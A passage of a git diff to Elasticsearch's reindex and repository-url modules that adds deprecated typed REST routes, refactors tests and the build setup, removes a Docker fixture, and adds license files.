org.elasticsearch.rest.RestRequest; +import org.elasticsearch.rest.action.search.RestSearchAction; import java.io.IOException; import java.util.HashMap; @@ -28,7 +30,12 @@ public RestDeleteByQueryAction() { @Override public List routes() { - return List.of(new Route(POST, "/{index}/_delete_by_query")); + return List.of(new Route(POST, "/{index}/_delete_by_query"), + Route.builder(POST, "/{index}/{type}/_delete_by_query") + .deprecated(RestSearchAction.TYPES_DEPRECATION_MESSAGE, RestApiVersion.V_7) + .build() + ); + } @Override diff --git a/modules/reindex/src/main/java/org/elasticsearch/index/reindex/RestUpdateByQueryAction.java b/modules/reindex/src/main/java/org/elasticsearch/index/reindex/RestUpdateByQueryAction.java index 446b38d9932e9..b519790ddc1f9 100644 --- a/modules/reindex/src/main/java/org/elasticsearch/index/reindex/RestUpdateByQueryAction.java +++ b/modules/reindex/src/main/java/org/elasticsearch/index/reindex/RestUpdateByQueryAction.java @@ -9,8 +9,10 @@ package org.elasticsearch.index.reindex; import org.elasticsearch.client.node.NodeClient; +import org.elasticsearch.common.RestApiVersion; import org.elasticsearch.common.io.stream.NamedWriteableRegistry; import org.elasticsearch.rest.RestRequest; +import org.elasticsearch.rest.action.search.RestSearchAction; import org.elasticsearch.script.Script; import java.io.IOException; @@ -29,7 +31,12 @@ public RestUpdateByQueryAction() { @Override public List routes() { - return List.of(new Route(POST, "/{index}/_update_by_query")); + return List.of( + new Route(POST, "/{index}/_update_by_query"), + Route.builder(POST, "/{index}/{type}/_update_by_query") + .deprecated(RestSearchAction.TYPES_DEPRECATION_MESSAGE, RestApiVersion.V_7) + .build() + ); } @Override @@ -44,6 +51,9 @@ public RestChannelConsumer prepareRequest(RestRequest request, NodeClient client @Override protected UpdateByQueryRequest buildRequest(RestRequest request, NamedWriteableRegistry namedWriteableRegistry) throws IOException { + if (request.getRestApiVersion() == RestApiVersion.V_7 && request.hasParam("type")) { + request.param("type"); + } /* * Passing the search request through UpdateByQueryRequest first allows * it to set its own defaults which differ from SearchRequest's diff --git a/modules/reindex/src/main/java/org/elasticsearch/index/reindex/TransportReindexAction.java b/modules/reindex/src/main/java/org/elasticsearch/index/reindex/TransportReindexAction.java index 786ec3e5cafd9..7e9f2b0648406 100644 --- a/modules/reindex/src/main/java/org/elasticsearch/index/reindex/TransportReindexAction.java +++ b/modules/reindex/src/main/java/org/elasticsearch/index/reindex/TransportReindexAction.java @@ -60,17 +60,8 @@ protected TransportReindexAction(String name, Settings settings, ThreadPool thre protected void doExecute(Task task, ReindexRequest request, ActionListener listener) { validate(request); BulkByScrollTask bulkByScrollTask = (BulkByScrollTask) task; - reindexer.initTask(bulkByScrollTask, request, new ActionListener<>() { - @Override - public void onResponse(Void v) { - reindexer.execute(bulkByScrollTask, request, getBulkClient(), listener); - } - - @Override - public void onFailure(Exception e) { - listener.onFailure(e); - } - }); + reindexer.initTask(bulkByScrollTask, request, + listener.delegateFailure((l, v) -> reindexer.execute(bulkByScrollTask, request, getBulkClient(), l))); } /** diff --git a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/AsyncBulkByScrollActionTests.java b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/AsyncBulkByScrollActionTests.java index f32babe7213e9..9ad459fa6662f 100644 --- a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/AsyncBulkByScrollActionTests.java +++ b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/AsyncBulkByScrollActionTests.java @@ -697,23 +697,110 @@ private void cancelTaskCase(Consumer testMe) throw } } + public void testScrollConsumableHitsResponseCanBeConsumedInChunks() { + List hits = new ArrayList<>(); + int numberOfHits = randomIntBetween(0, 300); + for (int i = 0; i < numberOfHits; i++) { + hits.add(new ScrollableHitSource.BasicHit("idx", "id-" + i, -1)); + } + final ScrollableHitSource.Response scrollResponse = + new ScrollableHitSource.Response(false, emptyList(), hits.size(), hits, "scrollid"); + final AbstractAsyncBulkByScrollAction.ScrollConsumableHitsResponse response = + new AbstractAsyncBulkByScrollAction.ScrollConsumableHitsResponse(new ScrollableHitSource.AsyncResponse() { + @Override + public ScrollableHitSource.Response response() { + return scrollResponse; + } + + @Override + public void done(TimeValue extraKeepAlive) { + } + }); + + assertThat(response.remainingHits(), equalTo(numberOfHits)); + assertThat(response.hasRemainingHits(), equalTo(numberOfHits > 0)); + + int totalConsumedHits = 0; + while (response.hasRemainingHits()) { + final int numberOfHitsToConsume; + final List consumedHits; + if (randomBoolean()) { + numberOfHitsToConsume = numberOfHits - totalConsumedHits; + consumedHits = response.consumeRemainingHits(); + } else { + numberOfHitsToConsume = randomIntBetween(1, numberOfHits - totalConsumedHits); + consumedHits = response.consumeHits(numberOfHitsToConsume); + } + + assertThat(consumedHits.size(), equalTo(numberOfHitsToConsume)); + assertThat(consumedHits, equalTo(hits.subList(totalConsumedHits, totalConsumedHits + numberOfHitsToConsume))); + totalConsumedHits += numberOfHitsToConsume; + + assertThat(response.remainingHits(), equalTo(numberOfHits - totalConsumedHits)); + } + + assertThat(response.consumeRemainingHits().isEmpty(), equalTo(true)); + } + + public void testScrollConsumableHitsResponseErrorHandling() { + List hits = new ArrayList<>(); + int numberOfHits = randomIntBetween(2, 300); + for (int i = 0; i < numberOfHits; i++) { + hits.add(new ScrollableHitSource.BasicHit("idx", "id-" + i, -1)); + } + + final ScrollableHitSource.Response scrollResponse = + new ScrollableHitSource.Response(false, emptyList(), hits.size(), hits, "scrollid"); + final AbstractAsyncBulkByScrollAction.ScrollConsumableHitsResponse response = + new AbstractAsyncBulkByScrollAction.ScrollConsumableHitsResponse(new ScrollableHitSource.AsyncResponse() { + @Override + public ScrollableHitSource.Response response() { + return scrollResponse; + } + + @Override + public void done(TimeValue extraKeepAlive) { + } + }); + + assertThat(response.remainingHits(), equalTo(numberOfHits)); + assertThat(response.hasRemainingHits(), equalTo(true)); + + expectThrows(IllegalArgumentException.class, () -> response.consumeHits(-1)); + expectThrows(IllegalArgumentException.class, () -> response.consumeHits(numberOfHits + 1)); + + if (randomBoolean()) { + response.consumeHits(numberOfHits - 1); + // Unable to consume more than remaining hits + expectThrows(IllegalArgumentException.class, () -> response.consumeHits(response.remainingHits() + 1)); + response.consumeHits(1); + } else { + response.consumeRemainingHits(); + } + + expectThrows(IllegalArgumentException.class, () -> response.consumeHits(1)); + } + /** * Simulate a scroll response by setting the scroll id and firing the onScrollResponse method. */ private void simulateScrollResponse(DummyAsyncBulkByScrollAction action, long lastBatchTime, int lastBatchSize, ScrollableHitSource.Response response) { action.setScroll(scrollId()); - action.onScrollResponse(lastBatchTime, lastBatchSize, new ScrollableHitSource.AsyncResponse() { - @Override - public ScrollableHitSource.Response response() { - return response; - } + action.onScrollResponse(lastBatchTime, lastBatchSize, + new AbstractAsyncBulkByScrollAction.ScrollConsumableHitsResponse( + new ScrollableHitSource.AsyncResponse() { + @Override + public ScrollableHitSource.Response response() { + return response; + } - @Override - public void done(TimeValue extraKeepAlive) { - fail(); - } - }); + @Override + public void done(TimeValue extraKeepAlive) { + fail(); + } + }) + ); } private class DummyAsyncBulkByScrollAction diff --git a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/DeleteByQueryBasicTests.java b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/DeleteByQueryBasicTests.java index 22e524b700380..af37de43d092a 100644 --- a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/DeleteByQueryBasicTests.java +++ b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/DeleteByQueryBasicTests.java @@ -8,6 +8,7 @@ package org.elasticsearch.index.reindex; +import org.elasticsearch.action.ActionFuture; import org.elasticsearch.action.admin.indices.alias.Alias; import org.elasticsearch.action.index.IndexRequestBuilder; import org.elasticsearch.cluster.ClusterInfoService; @@ -22,8 +23,6 @@ import org.elasticsearch.plugins.Plugin; import org.elasticsearch.search.sort.SortOrder; import org.elasticsearch.test.InternalSettingsPlugin; -import org.elasticsearch.test.InternalTestCluster; -import org.elasticsearch.threadpool.ThreadPool; import java.util.ArrayList; import java.util.Collection; @@ -242,18 +241,15 @@ public void testDeleteByQueryOnReadOnlyAllowDeleteIndex() throws Exception { // it will trigger a retry policy in the delete by query request because the rest status of the block is 429 enableIndexBlock("test", SETTING_READ_ONLY_ALLOW_DELETE); if (diskAllocationDeciderEnabled) { - InternalTestCluster internalTestCluster = internalCluster(); - InternalClusterInfoService infoService = (InternalClusterInfoService) internalTestCluster - .getInstance(ClusterInfoService.class, internalTestCluster.getMasterName()); - ThreadPool threadPool = internalTestCluster.getInstance(ThreadPool.class, internalTestCluster.getMasterName()); - // Refresh the cluster info after a random delay to check the disk threshold and release the block on the index - threadPool.schedule( - () -> ClusterInfoServiceUtils.refresh(infoService), - TimeValue.timeValueMillis(randomIntBetween(1, 100)), - ThreadPool.Names.MANAGEMENT); - // The delete by query request will be executed successfully because the block will be released - assertThat(deleteByQuery().source("test").filter(QueryBuilders.matchAllQuery()).refresh(true).get(), - matcher().deleted(docs)); + // Fire off the delete-by-query first + final ActionFuture deleteByQueryResponse + = deleteByQuery().source("test").filter(QueryBuilders.matchAllQuery()).refresh(true).execute(); + // Then refresh the cluster info which checks the disk threshold and releases the block on the index + final InternalClusterInfoService clusterInfoService + = (InternalClusterInfoService) internalCluster().getCurrentMasterNodeInstance(ClusterInfoService.class); + ClusterInfoServiceUtils.refresh(clusterInfoService); + // The delete by query request will be executed successfully because it retries after the block is released + assertThat(deleteByQueryResponse.actionGet(), matcher().deleted(docs)); } else { // The delete by query request will not be executed successfully because the block cannot be released assertThat(deleteByQuery().source("test").filter(QueryBuilders.matchAllQuery()).refresh(true) diff --git a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/ReindexSourceTargetValidationTests.java b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/ReindexSourceTargetValidationTests.java index 57f4aa2502ecf..6996165411916 100644 --- a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/ReindexSourceTargetValidationTests.java +++ b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/ReindexSourceTargetValidationTests.java @@ -24,12 +24,10 @@ import org.elasticsearch.common.bytes.BytesReference; import org.elasticsearch.common.settings.ClusterSettings; import org.elasticsearch.common.settings.Settings; -import org.elasticsearch.indices.SystemIndices; -import org.elasticsearch.common.util.concurrent.ThreadContext; +import org.elasticsearch.indices.EmptySystemIndices; +import org.elasticsearch.indices.TestIndexNameExpressionResolver; import org.elasticsearch.test.ESTestCase; -import java.util.HashMap; - import static java.util.Collections.emptyMap; import static org.hamcrest.Matchers.containsString; @@ -51,11 +49,11 @@ public class ReindexSourceTargetValidationTests extends ESTestCase { .put(index("baz"), true) .put(index("source", "source_multi"), true) .put(index("source2", "source_multi"), true)).build(); - private static final IndexNameExpressionResolver INDEX_NAME_EXPRESSION_RESOLVER = - new IndexNameExpressionResolver(new ThreadContext(Settings.EMPTY)); + private static final IndexNameExpressionResolver INDEX_NAME_EXPRESSION_RESOLVER = TestIndexNameExpressionResolver.newInstance(); private static final AutoCreateIndex AUTO_CREATE_INDEX = new AutoCreateIndex(Settings.EMPTY, - new ClusterSettings(Settings.EMPTY, ClusterSettings.BUILT_IN_CLUSTER_SETTINGS), INDEX_NAME_EXPRESSION_RESOLVER, - new SystemIndices(new HashMap<>())); + new ClusterSettings(Settings.EMPTY, ClusterSettings.BUILT_IN_CLUSTER_SETTINGS), INDEX_NAME_EXPRESSION_RESOLVER, + EmptySystemIndices.INSTANCE + ); private final BytesReference query = new BytesArray("{ \"foo\" : \"bar\" }"); diff --git a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/RestDeleteByQueryActionTests.java b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/RestDeleteByQueryActionTests.java new file mode 100644 index 0000000000000..95e7cc29fd423 --- /dev/null +++ b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/RestDeleteByQueryActionTests.java @@ -0,0 +1,53 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.index.reindex; + +import org.elasticsearch.common.RestApiVersion; +import org.elasticsearch.common.xcontent.XContentType; +import org.elasticsearch.rest.RestRequest; +import org.elasticsearch.rest.action.search.RestSearchAction; +import org.elasticsearch.test.rest.FakeRestRequest; +import org.elasticsearch.test.rest.RestActionTestCase; +import org.junit.Before; +import org.mockito.Mockito; + +import java.io.IOException; +import java.util.Collections; +import java.util.List; +import java.util.Map; + +public class RestDeleteByQueryActionTests extends RestActionTestCase { + + final List contentTypeHeader = Collections.singletonList(compatibleMediaType(XContentType.VND_JSON, RestApiVersion.V_7)); + + @Before + public void setUpAction() { + controller().registerHandler(new RestDeleteByQueryAction()); + verifyingClient.setExecuteVerifier((actionType, request) -> Mockito.mock(BulkByScrollResponse.class)); + verifyingClient.setExecuteLocallyVerifier((actionType, request) -> Mockito.mock(BulkByScrollResponse.class)); + } + + public void testTypeInPath() throws IOException { + RestRequest request = new FakeRestRequest.Builder(xContentRegistry()) + .withHeaders(Map.of("Content-Type", contentTypeHeader, "Accept", contentTypeHeader)) + .withMethod(RestRequest.Method.POST) + .withPath("/some_index/some_type/_delete_by_query") + .build(); + + // checks the type in the URL is propagated correctly to the request object + // only works after the request is dispatched, so its params are filled from url. + dispatchRequest(request); + + + // RestDeleteByQueryAction itself doesn't check for a deprecated type usage + // checking here for a deprecation from its internal search request + assertWarnings(RestSearchAction.TYPES_DEPRECATION_MESSAGE); + } + +} diff --git a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/RestUpdateByQueryActionTests.java b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/RestUpdateByQueryActionTests.java new file mode 100644 index 0000000000000..93d2d466beadd --- /dev/null +++ b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/RestUpdateByQueryActionTests.java @@ -0,0 +1,51 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.index.reindex; + +import org.elasticsearch.common.RestApiVersion; +import org.elasticsearch.common.xcontent.XContentType; +import org.elasticsearch.rest.RestRequest; +import org.elasticsearch.rest.action.search.RestSearchAction; +import org.elasticsearch.test.rest.FakeRestRequest; +import org.elasticsearch.test.rest.RestActionTestCase; +import org.junit.Before; +import org.mockito.Mockito; + +import java.io.IOException; +import java.util.Collections; +import java.util.List; +import java.util.Map; + +public class RestUpdateByQueryActionTests extends RestActionTestCase { + + final List contentTypeHeader = Collections.singletonList(compatibleMediaType(XContentType.VND_JSON, RestApiVersion.V_7)); + + @Before + public void setUpAction() { + controller().registerHandler(new RestUpdateByQueryAction()); + verifyingClient.setExecuteVerifier((actionType, request) -> Mockito.mock(BulkByScrollResponse.class)); + verifyingClient.setExecuteLocallyVerifier((actionType, request) -> Mockito.mock(BulkByScrollResponse.class)); + } + + public void testTypeInPath() throws IOException { + RestRequest request = new FakeRestRequest.Builder(xContentRegistry()) + .withHeaders(Map.of("Content-Type", contentTypeHeader, "Accept", contentTypeHeader)) + .withMethod(RestRequest.Method.POST) + .withPath("/some_index/some_type/_update_by_query") + .build(); + + // checks the type in the URL is propagated correctly to the request object + // only works after the request is dispatched, so its params are filled from url. + dispatchRequest(request); + + // RestUpdateByQueryAction itself doesn't check for a deprecated type usage + // checking here for a deprecation from its internal search request + assertWarnings(RestSearchAction.TYPES_DEPRECATION_MESSAGE); + } +} diff --git a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/RetryTests.java b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/RetryTests.java index a78773dd3f059..08799bce4e47f 100644 --- a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/RetryTests.java +++ b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/RetryTests.java @@ -69,8 +69,8 @@ protected Collection> nodePlugins() { * Lower the queue sizes to be small enough that bulk will time out and have to be retried. */ @Override - protected Settings nodeSettings(int nodeOrdinal) { - return Settings.builder().put(super.nodeSettings(nodeOrdinal)).put(nodeSettings()).build(); + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { + return Settings.builder().put(super.nodeSettings(nodeOrdinal, otherSettings)).put(nodeSettings()).build(); } @Override diff --git a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/TransportRethrottleActionTests.java b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/TransportRethrottleActionTests.java index 828316a10a291..d24b7220d79d7 100644 --- a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/TransportRethrottleActionTests.java +++ b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/TransportRethrottleActionTests.java @@ -91,8 +91,18 @@ public void testRethrottleSuccessfulResponse() { List sliceStatuses = new ArrayList<>(slices); for (int i = 0; i < slices; i++) { BulkByScrollTask.Status status = believeableInProgressStatus(i); - tasks.add(new TaskInfo(new TaskId("test", 123), "test", "test", "test", status, 0, 0, true, new TaskId("test", task.getId()), - Collections.emptyMap())); + tasks.add(new TaskInfo( + new TaskId("test", 123), + "test", + "test", + "test", + status, + 0, + 0, + true, + false, + new TaskId("test", task.getId()), + Collections.emptyMap())); sliceStatuses.add(new BulkByScrollTask.StatusOrException(status)); } rethrottleTestCase(slices, @@ -112,8 +122,18 @@ public void testRethrottleWithSomeSucceeded() { List tasks = new ArrayList<>(); for (int i = succeeded; i < slices; i++) { BulkByScrollTask.Status status = believeableInProgressStatus(i); - tasks.add(new TaskInfo(new TaskId("test", 123), "test", "test", "test", status, 0, 0, true, new TaskId("test", task.getId()), - Collections.emptyMap())); + tasks.add(new TaskInfo( + new TaskId("test", 123), + "test", + "test", + "test", + status, + 0, + 0, + true, + false, + new TaskId("test", task.getId()), + Collections.emptyMap())); sliceStatuses.add(new BulkByScrollTask.StatusOrException(status)); } rethrottleTestCase(slices - succeeded, diff --git a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/remote/RemoteScrollableHitSourceTests.java b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/remote/RemoteScrollableHitSourceTests.java index 9f5b9da4346da..0f11ca09c78d8 100644 --- a/modules/reindex/src/test/java/org/elasticsearch/index/reindex/remote/RemoteScrollableHitSourceTests.java +++ b/modules/reindex/src/test/java/org/elasticsearch/index/reindex/remote/RemoteScrollableHitSourceTests.java @@ -88,15 +88,16 @@ public class RemoteScrollableHitSourceTests extends ESTestCase { private final Queue responseQueue = new LinkedBlockingQueue<>(); + private final Queue failureQueue = new LinkedBlockingQueue<>(); + @Before @Override public void setUp() throws Exception { super.setUp(); - final ExecutorService directExecutor = EsExecutors.newDirectExecutorService(); threadPool = new TestThreadPool(getTestName()) { @Override public ExecutorService executor(String name) { - return directExecutor; + return EsExecutors.DIRECT_EXECUTOR_SERVICE; } @Override @@ -121,7 +122,8 @@ public void tearDown() throws Exception { @After public void validateAllConsumed() { - assertTrue(responseQueue.isEmpty()); + assertThat(failureQueue, empty()); + assertThat(responseQueue, empty()); } public void testLookupRemoteVersion() throws Exception { @@ -331,8 +333,8 @@ public void testRetryUntilYouRunOutOfTries() throws Exception { for (int i = 0; i < retriesAllowed + 2; i++) { paths[i] = "fail:rejection.json"; } - RuntimeException e = expectThrows(RuntimeException.class, () -> sourceWithMockedRemoteCall(paths).start()); - assertEquals("failed", e.getMessage()); + sourceWithMockedRemoteCall(paths).start(); + assertNotNull(failureQueue.poll()); assertTrue(responseQueue.isEmpty()); assertEquals(retriesAllowed, retries); retries = 0; @@ -343,8 +345,8 @@ public void testRetryUntilYouRunOutOfTries() throws Exception { assertThat(response.response().getFailures(), empty()); assertTrue(responseQueue.isEmpty()); - e = expectThrows(RuntimeException.class, () -> response.done(timeValueMillis(0))); - assertEquals("failed", e.getMessage()); + response.done(timeValueMillis(0)); + assertNotNull(failureQueue.poll()); assertTrue(responseQueue.isEmpty()); assertEquals(retriesAllowed, retries); } @@ -426,11 +428,8 @@ public Future answer(InvocationOnMock invocationOnMock) throws Thr }); RemoteScrollableHitSource source = sourceWithMockedClient(true, httpClient); - Throwable e = expectThrows(RuntimeException.class, source::start); - // Unwrap the some artifacts from the test - while (e.getMessage().equals("failed")) { - e = e.getCause(); - } + source.start(); + Throwable e = failureQueue.poll(); // This next exception is what the user sees assertEquals("Remote responded with a chunk that was too large. Use a smaller batch size.", e.getMessage()); // And that exception is reported as being caused by the underlying exception returned by the client @@ -444,17 +443,17 @@ public void testNoContentTypeIsError() { assertThat(e.getMessage(), containsString("Response didn't include Content-Type: body={")); } - public void testInvalidJsonThinksRemoteIsNotES() throws IOException { - Exception e = expectThrows(RuntimeException.class, () -> sourceWithMockedRemoteCall("some_text.txt").start()); - assertEquals("Error parsing the response, remote is likely not an Elasticsearch instance", - e.getCause().getCause().getCause().getMessage()); + public void testInvalidJsonThinksRemoteIsNotES() throws Exception { + sourceWithMockedRemoteCall("some_text.txt").start(); + Throwable e = failureQueue.poll(); + assertEquals("Error parsing the response, remote is likely not an Elasticsearch instance", e.getMessage()); } - public void testUnexpectedJsonThinksRemoteIsNotES() throws IOException { + public void testUnexpectedJsonThinksRemoteIsNotES() throws Exception { // Use the response from a main action instead of a proper start response to generate a parse error - Exception e = expectThrows(RuntimeException.class, () -> sourceWithMockedRemoteCall("main/2_3_3.json").start()); - assertEquals("Error parsing the response, remote is likely not an Elasticsearch instance", - e.getCause().getCause().getCause().getMessage()); + sourceWithMockedRemoteCall("main/2_3_3.json").start(); + Throwable e = failureQueue.poll(); + assertEquals("Error parsing the response, remote is likely not an Elasticsearch instance", e.getMessage()); } public void testCleanupSuccessful() throws Exception { @@ -562,15 +561,11 @@ private void countRetry() { retries += 1; } - private void failRequest(Throwable t) { - throw new RuntimeException("failed", t); - } - private class TestRemoteScrollableHitSource extends RemoteScrollableHitSource { TestRemoteScrollableHitSource(RestClient client) { super(RemoteScrollableHitSourceTests.this.logger, backoff(), RemoteScrollableHitSourceTests.this.threadPool, RemoteScrollableHitSourceTests.this::countRetry, - responseQueue::add, RemoteScrollableHitSourceTests.this::failRequest, + responseQueue::add, failureQueue::add, client, new BytesArray("{}"), RemoteScrollableHitSourceTests.this.searchRequest); } } diff --git a/modules/repository-url/Dockerfile b/modules/repository-url/Dockerfile deleted file mode 100644 index a3be9e21e5c2c..0000000000000 --- a/modules/repository-url/Dockerfile +++ /dev/null @@ -1,17 +0,0 @@ -FROM ubuntu:18.04 - -RUN apt-get update -qqy -RUN apt-get install -qqy openjdk-11-jre-headless - -ARG port -ARG workingDir -ARG repositoryDir - -ENV URL_FIXTURE_PORT=${port} -ENV URL_FIXTURE_WORKING_DIR=${workingDir} -ENV URL_FIXTURE_REPO_DIR=${repositoryDir} - -ENTRYPOINT exec java -classpath "/fixture/shared/*" \ - org.elasticsearch.repositories.url.URLFixture "$URL_FIXTURE_PORT" "$URL_FIXTURE_WORKING_DIR" "$URL_FIXTURE_REPO_DIR" - -EXPOSE $port \ No newline at end of file diff --git a/modules/repository-url/build.gradle b/modules/repository-url/build.gradle index cbdfc4f085a00..d003380519512 100644 --- a/modules/repository-url/build.gradle +++ b/modules/repository-url/build.gradle @@ -7,13 +7,14 @@ */ import org.elasticsearch.gradle.PropertyNormalization -import org.elasticsearch.gradle.info.BuildParams -import org.elasticsearch.gradle.test.AntFixture apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.internal-cluster-test' apply plugin: 'elasticsearch.test.fixtures' +final Project fixture = project(':test:fixtures:url-fixture') + esplugin { description 'Module for URL repository' classname 'org.elasticsearch.plugin.repository.url.URLRepositoryPlugin' @@ -21,45 +22,51 @@ esplugin { restResources { restApi { - includeCore '_common', 'cluster', 'nodes', 'indices', 'index', 'bulk', 'count', 'snapshot' + include '_common', 'cluster', 'nodes', 'indices', 'index', 'bulk', 'count', 'snapshot' } } - // This directory is shared between two URL repositories and one FS repository in YAML integration tests -File repositoryDir = new File(project.buildDir, "shared-repository") - -def testJar = tasks.register("testJar", Jar) { - from sourceSets.test.output - classifier = "test" +dependencies { + api "org.apache.httpcomponents:httpclient:${versions.httpclient}" + api "org.apache.httpcomponents:httpcore:${versions.httpcore}" + api "commons-logging:commons-logging:${versions.commonslogging}" + api "commons-codec:commons-codec:${versions.commonscodec}" + api "org.apache.logging.log4j:log4j-1.2-api:${versions.log4j}" } -tasks.named("preProcessFixture").configure { - inputs.files(testJar, sourceSets.test.runtimeClasspath) - doLast { - file("${testFixturesDir}/shared").mkdirs() - project.copy { - from testJar - from sourceSets.test.runtimeClasspath - into "${testFixturesDir}/shared" - } - repositoryDir.mkdirs() - } +tasks.named("thirdPartyAudit").configure { + ignoreMissingClasses( + 'javax.servlet.ServletContextEvent', + 'javax.servlet.ServletContextListener', + 'org.apache.avalon.framework.logger.Logger', + 'org.apache.log.Hierarchy', + 'org.apache.log.Logger' + ) } -testFixtures.useFixture() +testFixtures.useFixture(fixture.path, 'url-fixture') -def fixtureAddress = { - int ephemeralPort = tasks.named("postProcessFixture").get().ext."test.fixtures.url-fixture.tcp.80" +def fixtureAddress = { fixtureName -> + int ephemeralPort = fixture.postProcessFixture.ext."test.fixtures.${fixtureName}.tcp.80" assert ephemeralPort > 0 'http://127.0.0.1:' + ephemeralPort } +File repositoryDir = fixture.fsRepositoryDir as File + testClusters.all { // repositoryDir is used by a FS repository to create snapshots setting 'path.repo', "${repositoryDir.absolutePath}", PropertyNormalization.IGNORE_VALUE // repositoryDir is used by two URL repositories to restore snapshots setting 'repositories.url.allowed_urls', { - "http://snapshot.test*,${fixtureAddress()}" + "http://snapshot.test*,${fixtureAddress('url-fixture')}" }, PropertyNormalization.IGNORE_VALUE } +tasks.named("yamlRestCompatTest").configure { + systemProperty 'tests.rest.blacklist', [ + 'repository_url/10_basic/Get a non existing snapshot', + 'repository_url/10_basic/Restore with repository-url using http://', + 'repository_url/10_basic/Restore with repository-url using file://' + ].join(',') +} diff --git a/modules/repository-url/docker-compose.yml b/modules/repository-url/docker-compose.yml deleted file mode 100644 index 99206ae97bdad..0000000000000 --- a/modules/repository-url/docker-compose.yml +++ /dev/null @@ -1,15 +0,0 @@ -version: '3' -services: - url-fixture: - build: - context: . - args: - port: 80 - workingDir: "/fixture/work" - repositoryDir: "/fixture/repo" - volumes: - - ./testfixtures_shared/shared:/fixture/shared - - ./build/shared-repository:/fixture/repo - - ./testfixtures_shared/work:/fixture/work - ports: - - "80" \ No newline at end of file diff --git a/modules/repository-url/licenses/commons-codec-1.11.jar.sha1 b/modules/repository-url/licenses/commons-codec-1.11.jar.sha1 new file mode 100644 index 0000000000000..b08f71a5babf0 --- /dev/null +++ b/modules/repository-url/licenses/commons-codec-1.11.jar.sha1 @@ -0,0 +1 @@ +3acb4705652e16236558f0f4f2192cc33c3bd189 \ No newline at end of file diff --git a/modules/repository-url/licenses/commons-codec-LICENSE.txt b/modules/repository-url/licenses/commons-codec-LICENSE.txt new file mode 100644 index 0000000000000..d645695673349 --- /dev/null +++ b/modules/repository-url/licenses/commons-codec-LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have 